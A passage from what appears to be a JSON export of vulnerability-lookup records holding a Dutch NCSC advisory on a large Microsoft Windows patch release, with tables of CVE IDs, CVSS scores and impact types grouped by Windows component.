\n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:24.193384Z"}, {"uuid": "7def6c24-5496-44f1-b924-50675db2ba9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54132", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | 